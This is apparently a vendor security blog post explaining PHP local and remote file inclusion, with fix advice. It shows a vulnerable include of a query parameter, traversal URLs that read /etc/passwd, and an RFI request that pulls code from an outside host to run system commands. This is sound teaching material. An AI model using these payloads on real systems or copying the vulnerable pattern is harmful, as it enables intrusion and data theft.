File Inclusion – The Underdog of Security Vulnerabilities

Dropped from OWASP’s 2010 Top Ten critical Web application security risks, Malicious File Execution, which includes file inclusion vulnerabilities, is still a major application security issue, considering that 244 million Web sites use PHP, a common platform for such attacks.

 

An attack vector for remote file inclusion (RFI) and local file inclusion (LFI) attacks are include files.  These include files are supported by many scripting languages.  From a developer’s perspective, they allow reusable code to be placed into separate files and to “include” them when needed.  Some examples are database connection strings and header/footer files.  From an attackers point of view, unsecured include function calls are a gold mine.  Arbitrary code execution, anyone?

 

While using include files certainly makes a developer’s life easier, some of the world’s largest social networking sites, popular blogging platforms, and content management systems have fallen victim to both local and remote file inclusions.  In 2011, an image resizing utility used in many popular blogging platform themes, was found to be vulnerable to a remote file include issue where attackers could upload and execute PHP code.  To demonstrate the possible scope of such a vulnerability, it was reported that over 39 million results came up on a popular search engine for this particular image utility.

 

Local File Inclusion (LFI):

 

Suppose we have a Web application that will display a file based on a PHP-based query string.

http://localhost/main2.php?file=page1.php

 

 

image001.png

 

The underlying PHP code could look something like this:

                $name = $_GET['file'];

                include("$name");

 

In this example, the supplied file, page1.php, is passed from the query string and included in the calling page, main2.php.

 

Let's see if we can read any other files of interest.

 

What if we try: http://localhost/main2.php?file=../secret.php

 

 

image002.png

 

In the above example, we have just read a file outside of the Web root!  In this case we are running as the user ‘apache’, so depending on file permissions, it appears as if we can read just about any local file on the server.

Going further, what if we tried: http://localhost/main2.php?file=../../../../../etc/passwd

 

 

image003.png

 

In this example we have just read the contents of /etc/passwd.  Now with a list of usernames, we have just narrowed down our username wordlist to valid user accounts.

 

 

Remote File Inclusion (RFI):

 

Using the same Web application as above, let's try to include a remote file.

 

On a Web server under our control, we create a file named 'go.txt'.  This file looks like the following:

 

<?php

                echo "RFI Test<BR><BR>";

                phpinfo();

?>

 

Let’s try to manipulate the ‘file’ query string with the following request:

http://localhost/main2.php?file=http://www.example.com/go.txt

 

image004.png

We can essentially run any commands assuming our user (apache in this case) has permission.

 

Consider a "go.txt" file with the following:

system("id; uname -a");

 

image005.png

 

We have successfully executed the ‘id’ command and ‘uname –a’ commands on the target system.

 

It should be noted that for the RFI to work, "allow_url_include" in the php.ini file needs to be set to On.  If "allow_url_include" was set to Off, the RFI would fail with the following error: "http:// wrapper is disabled in the server configuration by allow_url_include=0".

 

How to Fix

This problem arises from improper validation of characters accepted by the application. Any time a parameter is passed into a dynamically generated web page, it must be assumed that the data could be incorrectly formatted. The application should contain sufficient logic to handle the situation of a parameter not being passed in or being passed incorrectly.

If a parameter is being used to determine which file to process in any way, NEVER allow the file name to be used before it is verified as valid. Specifically, you should test for the existence of characters that indicate directory traversal such as .../, c:\ and /.


About Fortify on Demand

Fortify on Demand is a cloud-based application security solution. We perform multiple types of security testing, including web assessments, mobile application assessments, thick client testing, SAP, etc.--and we do it using both static and dynamic technologies and techniques.

 

We're here if you need us. Feel free to reach out on Twitter @hpappsecurity or via fodsales(at)hp.com to get your questions answered.


Additional Information

http://www.php.net/manual/en/function.include.php

https://download.hpsmartupdate.com/webinspect/

http://markmaunder.com/2011/08/01/zero-day-vulnerability-in-many-wordpress-themes/

https://www.owasp.org/index.php/Top_10_2010-Release_Notes

http://php.net/usage.php

http://news.netcraft.com/archives/2013/01/31/php-just-grows-grows.html

Leave a Comment

We encourage you to share your comments on this post. Comments are moderated and will be reviewed
and posted as promptly as possible during regular business hours

To ensure your comment is published, be sure to follow the Community Guidelines.

Be sure to enter a unique name. You can't reuse a name that's already in use.
Be sure to enter a unique email address. You can't reuse an email address that's already in use.
Type the characters you see in the picture above.Type the words you hear.
Search
Showing results for 
Search instead for 
Do you mean 
About the Author
Featured


Follow Us
The opinions expressed above are the personal opinions of the authors, not of HP. By using this site, you accept the Terms of Use and Rules of Participation.